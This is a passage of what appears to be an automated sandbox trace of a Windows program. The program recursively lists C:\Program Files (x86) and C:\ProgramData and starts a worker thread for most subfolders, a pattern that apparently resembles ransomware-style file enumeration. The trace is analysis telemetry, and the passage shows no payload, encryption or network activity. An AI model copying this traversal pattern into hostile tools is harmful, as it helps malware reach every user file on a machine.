RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f91e8 [0139.526] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.526] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.526] wcscat (in: _Dest=0x8f91e8, _Source="Windows NT" | out: _Dest="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0139.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0139.526] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0139.526] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0139.526] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0139.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8ea9d8 [0139.526] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.526] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.527] wcscat (in: _Dest=0x8ea9d8, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 [0139.527] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0139.527] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0139.527] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0139.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x8ea9d8 [0139.527] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.527] wcscat (in: _Dest=0x8ea9d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.527] wcscat (in: _Dest=0x8ea9d8, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 [0139.527] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0139.527] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0139.527] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0139.527] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ea0 [0139.527] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0139.527] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0139.527] wcscat (in: _Dest=0x8e3ea0, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0139.527] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0139.527] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b10) returned 1 [0139.527] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da7f8) returned 1 Thread: id = 1625 os_tid = 0x6bc [0139.530] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x22) returned 0x8d8838 [0139.530] wcscpy (in: _Dest=0x8d8838, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.530] wcscat (in: _Dest=0x8d8838, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.530] wcscat (in: _Dest=0x8d8838, _Source="*" | out: _Dest="C:\\ProgramData\\*") returned="C:\\ProgramData\\*" [0139.530] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f3c10 [0139.530] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.530] wcscmp (_String1=".", _String2=".") returned 0 [0139.530] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.530] wcscmp (_String1="..", _String2=".") returned 1 [0139.530] wcscmp (_String1="..", _String2="..") returned 0 [0139.530] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0139.530] wcscmp (_String1="Adobe", _String2=".") returned 1 [0139.531] wcscmp (_String1="Adobe", _String2="..") returned 1 [0139.531] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2a) returned 0x8da7f8 [0139.531] wcscpy (in: _Dest=0x8da7f8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.531] wcscat (in: _Dest=0x8da7f8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.531] wcscat (in: _Dest=0x8da7f8, _Source="Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0139.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0139.532] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0139.532] wcscmp (_String1="Application Data", _String2=".") returned 1 [0139.532] wcscmp (_String1="Application Data", _String2="..") returned 1 [0139.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2620 [0139.532] wcscpy (in: _Dest=0x8d2620, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.532] wcscat (in: _Dest=0x8d2620, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.532] wcscat (in: _Dest=0x8d2620, _Source="Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0139.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0139.533] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0139.533] wcscmp (_String1="Desktop", _String2=".") returned 1 [0139.533] wcscmp (_String1="Desktop", _String2="..") returned 1 [0139.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8da980 [0139.533] wcscpy (in: _Dest=0x8da980, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.533] wcscat (in: _Dest=0x8da980, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.533] wcscat (in: _Dest=0x8da980, _Source="Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0139.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0139.534] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0139.534] wcscmp (_String1="Documents", _String2=".") returned 1 [0139.534] wcscmp (_String1="Documents", _String2="..") returned 1 [0139.534] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9b50 [0139.534] wcscpy (in: _Dest=0x8d9b50, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.534] wcscat (in: _Dest=0x8d9b50, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.534] wcscat (in: _Dest=0x8d9b50, _Source="Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0139.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0139.535] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0139.535] wcscmp (_String1="Favorites", _String2=".") returned 1 [0139.535] wcscmp (_String1="Favorites", _String2="..") returned 1 [0139.535] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9bd0 [0139.535] wcscpy (in: _Dest=0x8d9bd0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.536] wcscat (in: _Dest=0x8d9bd0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.536] wcscat (in: _Dest=0x8d9bd0, _Source="Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0139.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0139.537] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0139.537] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0139.537] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0139.537] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9c10 [0139.537] wcscpy (in: _Dest=0x8d9c10, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.537] wcscat (in: _Dest=0x8d9c10, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.537] wcscat (in: _Dest=0x8d9c10, _Source="Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0139.538] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xa459e0c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa459e0c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0139.538] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0139.538] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0139.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2668 [0139.538] wcscpy (in: _Dest=0x8d2668, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.538] wcscat (in: _Dest=0x8d2668, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.538] wcscat (in: _Dest=0x8d2668, _Source="Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0139.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0139.539] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0139.539] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0139.539] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0139.539] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2e) returned 0x8da9b8 [0139.539] wcscpy (in: _Dest=0x8da9b8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.539] wcscat (in: _Dest=0x8da9b8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.539] wcscat (in: _Dest=0x8da9b8, _Source="Mozilla" | out: _Dest="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0139.539] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da9b8) returned 1 [0139.539] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0139.539] wcscmp (_String1="Oracle", _String2=".") returned 1 [0139.539] wcscmp (_String1="Oracle", _String2="..") returned 1 [0139.539] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2c) returned 0x8da9b8 [0139.539] wcscpy (in: _Dest=0x8da9b8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.539] wcscat (in: _Dest=0x8da9b8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.539] wcscat (in: _Dest=0x8da9b8, _Source="Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0139.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0139.541] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0139.541] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0139.541] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0139.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d26b0 [0139.541] wcscpy (in: _Dest=0x8d26b0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.541] wcscat (in: _Dest=0x8d26b0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.541] wcscat (in: _Dest=0x8d26b0, _Source="Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0139.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d26b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0139.542] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0139.542] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0139.542] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0139.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x34) returned 0x8d9c50 [0139.542] wcscpy (in: _Dest=0x8d9c50, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.542] wcscat (in: _Dest=0x8d9c50, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.542] wcscat (in: _Dest=0x8d9c50, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0139.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0139.543] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0139.543] wcscmp (_String1="Sun", _String2=".") returned 1 [0139.543] wcscmp (_String1="Sun", _String2="..") returned 1 [0139.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x26) returned 0x8d87a8 [0139.543] wcscpy (in: _Dest=0x8d87a8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.543] wcscat (in: _Dest=0x8d87a8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.543] wcscat (in: _Dest=0x8d87a8, _Source="Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0139.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d87a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0139.544] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0139.545] wcscmp (_String1="Templates", _String2=".") returned 1 [0139.545] wcscmp (_String1="Templates", _String2="..") returned 1 [0139.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x8d9c90 [0139.545] wcscpy (in: _Dest=0x8d9c90, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0139.545] wcscat (in: _Dest=0x8d9c90, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0139.545] wcscat (in: _Dest=0x8d9c90, _Source="Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0139.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d9c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0139.546] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f3c10 | out: lpFindFileData=0x8f3c10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0139.546] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c10) returned 1 [0139.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0139.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 Thread: id = 1626 os_tid = 0x708 [0139.549] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1c) returned 0x8e98a0 [0139.549] wcscpy (in: _Dest=0x8e98a0, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0139.549] wcscat (in: _Dest=0x8e98a0, _Source="\\" | out: _Dest="C:\\Recovery\\") 